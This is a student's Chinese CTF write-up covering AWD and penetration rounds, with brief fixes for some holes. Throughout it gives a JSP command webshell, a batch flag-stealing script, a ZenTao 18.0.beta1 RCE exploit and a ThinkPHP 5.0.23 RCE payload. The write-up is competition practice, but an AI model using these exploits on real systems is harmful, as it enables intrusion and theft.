记录一下第一次攻防对抗AWD和综合渗透ISW的线下比赛的WP,大佬轻喷。
D盾扫一下,forget.jsp存在一个processBuilder后门,可以直接回显,直接正常命令打就行了;
修复:也很简单,直接注释processBuilde的关键语句或者那一整段注释掉;
发现被打了好多,开始排查,发现userImg目录下面被上传了恶意shell,老师账号密码被修改登录不上去急急急,学生后面也发现被添加了一些用户;
没有别的办法了只能去mysql数据库直接改密码了,先要登录上mysql,所以先去给的databases.sql文件看看有没有账号密码,确实有:
直接登录修改test1数据库的teacher表的账号密码。
然后发现,有一个文件上传接口,没有任何过滤;
排查到自己的userImg确实被上传了不少恶意jsp-shell;
排查到学生和老师的头像上传位置不校验文件,直接上传恶意shell,再次测试发现,不用登录也可以上传?;
那就写个脚本,批量打打;(中间找回显?找了好久,自己还不会写内存?,背大锅?)
修复:由于没怎么审计过tomcat-jsp架构的web系统,短时间内没定位到具体的有问题的jsp文件,因此直接给userImg加了个400权限,不能上传文件即可。(还是被打了好多,不知道从哪打的。我想可能是已经被打了不少内存?)
回显?:
<% java.io.InputStream in \= Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a \= \-1; byte\[\] b \= new byte\[2048\]; out.print(""); while((a\=in.read(b))!=-1){ out.println(new String(b)); } out.print(""); %>
D盾可以扫出后门和一些可以函数,注释掉即可。
然后短时间没看出怎么打,被打了好多分?,摆了。
同样是后门。直接打就行
修复:注释即可,由于是jar包,需要先编译出class文件再覆盖添加进去;当然直接删掉也可以。
需提前将ip和port用:连接起来,格式是一行一个,例如:
127.0.0.1:1234
127.0.0.1:1235
import requests,time,re
\# 提交flag的url和token等
submit\_url \= ""
submit\_token \= ""
submit\_cookie \= ""
headers \= {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
"Cookie":submit\_cookie
}
timout \= 1
def submit\_flag(flag):
data \= {
'flag':flag,
'token':submit\_token
}
try:
\# r = requests.post(url,headers=headers,data = json.dumps(data))
res \= requests.post(submit\_url, data\=data,headers\=headers,timeout\=timout)
print(res.text)
except Exception as e:
print(f"{flag} submit failed!")
def grep\_flag(id,text):
\# 提取全flag
matches \= re.findall(r'flag{.\*}', text, re.DOTALL | re.IGNORECASE)
\# 提取花括号里面的
\# matches = re.findall(r'flag{(.\*?)}',text,re.DOTALL | re.IGNORECASE)
for m in matches:
print(m)
with open(f"file\_share/flag-{id}.txt","a",encoding\="utf-8") as file:
file.writelines(m+"\\n")
file.close()
return matches\[0\]
def exp1(ip):
url \= "http://" + ip +"/forget.jsp"
params \= {
"cmd1":"cat /flag"
}
data \= {
"exp":"payload"
}
try:
res \= requests.get(url \= url,params\=params,timeout\=timout)
\# res = requests.post(url = url, data=data,timeout=timout)
flag \= grep\_flag(1,res.text)
\# submit\_flag(flag)
except Exception as e:
print(f"{ip} attack failed!")
def exp11(ip):
url1 \= "http://" + ip +"/upload\_teacherImg"
url2 \= "http://" + ip +"/upload\_studentImg"
flag\_url \= "http://"+ip+"/userImg/123.jsp"
params \= {
"i":"cat /flag"
}
data \= {
"id":"admin"
}
files \= {"img": ("123.jsp",open("shell.jsp").read())}
try:
\# res = requests.get(url = url,params=params,timeout=timout)
res \= requests.post(url \= url1, data\=data,files\=files,timeout\=timout)
print(res.text)
res2 \= requests.get(url \= flag\_url,params\=params,timeout\=timout)
flag \= grep\_flag(1,res2.text)
\# submit\_flag(flag)
except Exception as e:
print(f"{ip} attack failed!")
try:
\# res = requests.get(url = url,params=params,timeout=timout)
res \= requests.post(url \= url2, data\=data,files\=files,timeout\=timout)
\# print(res.text)
res2 \= requests.get(url \= flag\_url,params\=params,timeout\=timout)
flag \= grep\_flag(1,res2.text)
\# submit\_flag(flag)
except Exception as e:
print(f"{ip} attack failed!")
def exp3(ip):
url \= "http://" + ip +"/test/backd0or"
params \= {
"cmd1":"cat /flag"
}
data \= {
"cmd":"cat /flag"
}
try:
\# res = requests.get(url = url,params=params,timeout=timout)
res \= requests.post(url \= url, data\=data,timeout\=timout)
flag \= grep\_flag(3,res.text)
\# submit\_flag(flag)
except Exception as e:
print(f"{ip} attack failed!")
def get\_ip1():
ips \=\[\]
ports \= \[\]
with open("tomcat.txt","r") as file:
ips \= file.readlines()
return ips
def get\_ip3():
with open("3.txt","r") as file:
ips \= file.readlines()
return ips
if \_\_name\_\_ \== '\_\_main\_\_' :
\# 这个可以看请况写个循环,遍历出所有ip
ips1\= get\_ip1()
print(ips1)
ips3 \= get\_ip3()
\# port = 80
for ip in ips1:
ip.replace("\\n","")
print(ip)
exp1(ip)
exp11(ip)
for ip in ips3:
ip.replace("\\n", "")
exp3(ip)
#
\# print("this turn finish!")
禅道18.0.beta1版本的权限绕过的RCE可参考:https://www.freebuf.com/vuls/357138.html
先拿的flag02,RCE后利用root/root弱口令登录mysql,然后使用sql语句进行查询数据库,很轻易就查询到了禅道的admin后台密码;
登录后发现在后台的一个功能模块藏着?,使用cyberchef的魔法棒就能解出来,但是最后没交上,差几秒?
cmd5查询得到Passw0rd弱口令密码,这里应该是要我们猜到这个弱口令,看来我是曲线救国了。
在一个功能模块下面,有一串加密字符串:
扔到cyberchef自动检测,点击魔方棒,自动进行解密,是多种base加密的组合:
参考上面的禅道18.0.beta1-RCE文章进行RCE后,可以在/var/www/html目录下面翻到flag02;
禅道18.0.beta1-RCE总的exp如下,我来解释一下大致的原理;
import requests
proxies \= {
# "http": "127.0.0.1:8080",
# "https": "127.0.0.1:8080",
}
def check(url):
# url1 \= url + '/misc-captcha-user.html'
url1 \= url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
url2 \= url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
# url3 \= url + '/repo-create.html'
url3 \= url + '/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss'
# url4 \= url + '/repo-edit-10000-10000.html'
url4 \= url + '/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss'
headers \= {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
# "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
}
headers2 \= {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Referer": url + "/repo-edit-1-0.html"
}
# data1 \= 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
data1 \= 'product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68'
# data2 \= r'SCM=Subversion&client=ls;'
data2 \= r'product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=pwd;&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65'
s \= requests.session()
try:
req1 \= s.get(url1, timeout\=5, verify\=False, headers\=headers)
req3 \= s.post(url3, data\=data1, timeout\=5, verify\=False, headers\=headers2)
print(req3.text)
req4 \= s.post(url4, data\=data2, timeout\=5, verify\=False, headers\=headers2)
print(req4.text)
# if 'uid=' in req4.text:
#
# print(url, "")
# return True
except Exception as e:
print(e)
# return False
if \_\_name\_\_ \== '\_\_main\_\_':
print(check("http://8.130.84.111"))
扫到了backup.zip
解压有流量包,发现有flag.zip,导出全部的http流量文件:
压缩包有密码,弱口令123456打开即可:
比赛时没有进行js的断点调试,赛后只能静态嗯看了。
访问IP发现是一个登录窗口,所以要尝试进入后台;
在流量包发现有尝试登录的流量,发现了username和password字样,但是password被加密了,直接复制进行登录是不行的,估计是加入了动态的参数如时间戳进行加密,要逆向了:
可以在dump出流量的app.js看到有encrypt函数,是进行了aes然后base64的加密,iv是传入进来的s,key是传入进来的t,e是未加密的原文,我们追踪一下,是u函数调用的,往上看看;
发现了,是在doLogin函数对传入的password进行了字符串拼接,然后加密,看看r,a,n分别是什么:
可以看到r是一个时间相关的字符串拼接,动态的;a是l的值,n是c的值,应该分别是key和iv
现在知道密文和key和iv,因此解密起来就十分容易了,test账号的密码是nsfo@#$23d^^fsf%h(()jcus:
记:当时打红温了,脑子比较混乱,隧道搭建的思路也没有理清,导致没去打内网。后面尝试外网靶机的各种提权,没成功?
入口节点直接扫就是一个thinkphp5023-method-rce-poc1,具体的攻击方式如下,路由是/index.php?s=captcha,post数据是method=construct&filter[]=system&method=GET&get[]=ls,其中get[]那里是传入的参数,filter[]那里是函数名:
后面内网网段的扫描,由于红温隧道没搭成,所以没去打
(icmp) Target 172.28.23.26 is alive
(icmp) Target 172.28.23.33 is alive
(icmp) Target 172.28.23.17 is alive
\[\*\] Icmp alive hosts len is: 3
172.28.23.26:21 open
172.28.23.33:22 open
172.28.23.26:22 open
172.28.23.17:22 open
172.28.23.26:80 open
172.28.23.17:80 open
172.28.23.17:1080 open
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.33:59696 open
\[\*\] alive ports len is: 10
start vulscan
\[\*\] WebTitle http://172.28.23.26 code:200 len:13693 title:新翔OA管理系统-OA管理平台联系电话:13849422648微信同号,QQ958756413
\[\*\] WebTitle http://172.28.23.33:8080 code:302 len:0 title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=CECC02D1ECC5B8BAFA59827758912DB3
\[+\] ftp 172.28.23.26:21:anonymous
\[\->\]OASystem.zip
\[\*\] WebTitle http://172.28.23.33:8080/login;jsessionid=CECC02D1ECC5B8BAFA59827758912DB3 code:200 len:3860 title:智联科技 ERP 后台登陆
\[\*\] WebTitle http://172.28.23.17 code:200 len:10887 title:""
\[\*\] WebTitle http://172.28.23.17:8080 code:200 len:1027 title:Login Form
\[+\] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
\[+\] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file
\[+\] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
可以看到26-ip的21端口有一个ftp匿名登录,有80端口的新翔OA管理系统的源码,应该是要我们进行审计出漏洞,然后进行利用。
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